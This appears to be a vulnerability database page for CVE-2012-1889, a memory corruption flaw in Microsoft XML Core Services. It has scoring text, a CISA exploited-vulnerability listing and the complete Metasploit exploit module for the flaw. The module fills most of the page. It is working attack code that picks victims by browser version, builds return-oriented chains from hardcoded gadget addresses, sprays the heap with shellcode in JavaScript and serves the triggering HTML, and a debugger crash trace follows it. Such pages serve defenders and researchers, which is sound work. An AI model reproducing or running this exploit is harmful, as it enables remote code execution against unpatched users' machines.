Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-787 |
Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
8.8 |
HIGH |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
nvd@nist.gov |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Microsoft XML Core Services Memory Corruption Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Unknown
Added : 2022-06-07 22h00 +00:00
Action is due : 2022-06-21 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 19186
Publication date : 2012-06-15 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "9.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:classid => "{f6D90f11-9c73-11d3-b32e-00C04f990bb4}",
:method => "definition",
:rank => GoodRanking
})
def initialize(info={})
super(update_info(info,
'Name' => "MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption",
'Description' => %q{
This module exploits a memory corruption flaw in Microsoft XML Core Services
when trying to access an uninitialized Node with the getDefinition API, which
may corrupt memory allowing remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'inking26', # Reliable exploitation
'binjo', # Metasploit module
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-1889' ],
[ 'BID', '53934' ],
[ 'OSVDB', '82873'],
[ 'MSB', 'MS12-043'],
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2719615' ],
[ 'URL', 'http://www.zdnet.com/blog/security/state-sponsored-attackers-using-ie-zero-day-to-hijack-gmail-accounts/12462' ],
[ 'URL', 'http://hi.baidu.com/inking26/blog/item/9c2ab11c4784e5aa86d6b6c1.html' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 1024
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# msxml3.dll 8.90.1101.0
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Offset' => '0x100',
'Rop' => nil,
'RandomHeap' => false
}
],
[
'IE 7 on Windows XP SP3 / Vista SP2',
{
'Offset' => '0x100',
'Rop' => nil,
'RandomHeap' => false
}
],
[
'IE 8 on Windows XP SP3',
{
'Rop' => :msvcrt,
'RandomHeap' => false,
'RopChainOffset' => '0x5f4',
'Offset' => '0x0',
'StackPivot' => 0x77c15ed5, # xchg eax, esp # ret # from msvcrt.dll
}
],
[
'IE 8 with Java 6 on Windows XP SP3',
{
'Rop' => :jre,
'RandomHeap' => false,
'RopChainOffset' => '0x5f4',
'Offset' => '0x0',
'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
}
],
[
'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',
{
'Rop' => :jre,
'RandomHeap' => false,
'RopChainOffset' => '0x5f4',
'Offset' => '0x0',
'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
}
],
[
'IE 9 with Java 6 on Windows 7 SP1',
{
'Rop' => :jre,
'RandomHeap' => true,
'RopChainOffset' => 0x5FC,
'Offset' => '0x0',
'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => "Jun 12 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows Vista SP2
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
return targets[5] #IE 8 on Windows 7 SP1/Vista SP2
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
return targets[6] #IE 9 on Windows 7 SP1
else
return nil
end
end
def ret(t)
case t['Rop']
when :msvcrt
return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
when :jre
return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll
end
end
def popret(t)
case t['Rop']
when :msvcrt
return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
when :jre
return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll
end
end
def get_rop_chain(t)
if t['RandomHeap']
adjust = [ 0x0c0c0c0c ].pack("V") # heap isn't filled with pointers to 0x0c0c0c0c
adjust << ret(t)
else
adjust = ret(t)
end
adjust << popret(t)
adjust << [ t['StackPivot'] ].pack("V")
adjust << ret(t) * 4 # first call to a "ret" because there is a good gadget in the stack :)
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop = generate_rop_payload('msvcrt','',{'target'=>'xp', 'pivot'=>adjust})
else
print_status("Using JRE ROP")
rop = generate_rop_payload('java','',{'pivot'=>adjust})
end
return rop
end
def get_easy_spray(t, js_code, js_nops)
spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{t['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var z=1; z < 0x230; z++) {
heap_obj.alloc(block);
}
JS
return spray
end
def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)
spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
var nops_90 = unescape("#{js_90_nops}");
var rop_chain = unescape("#{js_rop}");
while (nops.length < 0x80000) nops += nops;
while (nops_90.length < 0x80000) nops_90 += nops_90;
var offset = nops.substring(0, #{t['Offset']});
var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);
var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var z=1; z < 0x230; z++) {
heap_obj.alloc(block);
}
JS
return spray
end
# Spray published by corelanc0d3r
# Exploit writing tutorial part 11 : Heap Spraying Demystified
# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
def get_random_spray(t, js_rop, js_code, js_90_nops)
spray = <<-JS
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap_obj = new heapLib.ie(0x10000);
var rop = unescape("#{js_rop}");
var code = unescape("#{js_code}");
var nops_90 = unescape("#{js_90_nops}");
while (nops_90.length < 0x80000) nops_90 += nops_90;
var offset_length = #{t['RopChainOffset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length - code.length);
var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
JS
return spray
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
p = payload.encoded
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
if not my_target['Rop'].nil?
js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
end
if my_target['RandomHeap']
js = get_random_spray(my_target, js_rop, js_code, js_90_nops)
elsif not my_target['Rop'].nil?
js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops)
else
js = get_easy_spray(my_target, js_code, js_nops)
end
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
object_id = rand_text_alpha(4)
html = <<-EOS
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="#{object_id}"></object>
<script>
var obj = document.getElementById('#{object_id}').object;
var src = unescape("%u0c08%u0c0c");
while (src.length < 0x1002) src += src;
src = "\\\\\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(#{rand(999) + 1});
</script>
</body>
</html>
EOS
html = html.gsub(/^ {4}/, '')
print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
(e34.358): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=7498670c ebx=00000000 ecx=5f5ec68b edx=00000001 esi=7498670c edi=0013e350
eip=749bd772 esp=0013e010 ebp=0013e14c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
msxml3!_dispatchImpl::InvokeHelper+0xb4:
749bd772 ff5118 call dword ptr [ecx+18h] ds:0023:5f5ec6a3=????????
0:008> r
eax=020bf2f0 ebx=00000000 ecx=00000000 edx=00000001 esi=020bf2f0 edi=020bf528
eip=749bd772 esp=020bf1a8 ebp=020bf2e4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
msxml3!_dispatchImpl::InvokeHelper+0xb4:
749bd772 ff5118 call dword ptr [ecx+18h] ds:0023:00000018=????????
0:008> k
ChildEBP RetAddr
020bf2e4 749bdb13 msxml3!_dispatchImpl::InvokeHelper+0xb4
020bf320 749d4d84 msxml3!_dispatchImpl::Invoke+0x5e
020bf360 749dcae4 msxml3!DOMNode::Invoke+0xaa
020bf394 749bd5aa msxml3!DOMDocumentWrapper::Invoke+0x50
020bf3f0 749d6e6c msxml3!_dispatchImpl::InvokeEx+0xfa
020bf420 633a6d37 msxml3!_dispatchEx<IXMLDOMNode,&LIBID_MSXML2,&IID_IXMLDOMNode,0>::InvokeEx+0x2d
020bf460 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
020bf49c 633a9cfe jscript!IDispatchExInvokeEx+0x6a
020bf55c 633a9f3c jscript!InvokeDispatchEx+0x98
020bf590 633a77ff jscript!VAR::InvokeByName+0x135
020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
020bf60c 633a9c0b jscript!VAR::InvokeByDispID+0xce
020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x2989
020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff
020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f
020bf958 633891f1 jscript!CSession::Execute+0x175
020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0
020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a
020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30
020bfa88 635be7ca mshtml!CScriptCollection::ParseScriptText+0x219
=end
Products Mentioned
Configuraton 0
Microsoft>>Xml_core_services >> Version 3.0
Microsoft>>Xml_core_services >> Version 4.0
Microsoft>>Xml_core_services >> Version 6.0
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_8 >> Version -
Microsoft>>Windows_server_2003 >> Version -
Microsoft>>Windows_server_2003 >> Version -
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2012 >> Version -
Microsoft>>Windows_vista >> Version -
Microsoft>>Windows_xp >> Version -
Configuraton 0
Microsoft>>Xml_core_services >> Version 5.0
Microsoft>>Expression_web >> Version 2
Microsoft>>Expression_web >> Version sp1
Microsoft>>Groove >> Version 2007
Microsoft>>Groove >> Version 2007
Microsoft>>Groove_server >> Version 2007
Microsoft>>Groove_server >> Version 2007
Microsoft>>Office >> Version 2003
Microsoft>>Office >> Version 2007
Microsoft>>Office >> Version 2007
Microsoft>>Office_compatibility_pack >> Version -
Microsoft>>Office_compatibility_pack >> Version -
Microsoft>>Office_word_viewer >> Version -
Microsoft>>Sharepoint_server >> Version 2007
Microsoft>>Sharepoint_server >> Version 2007
References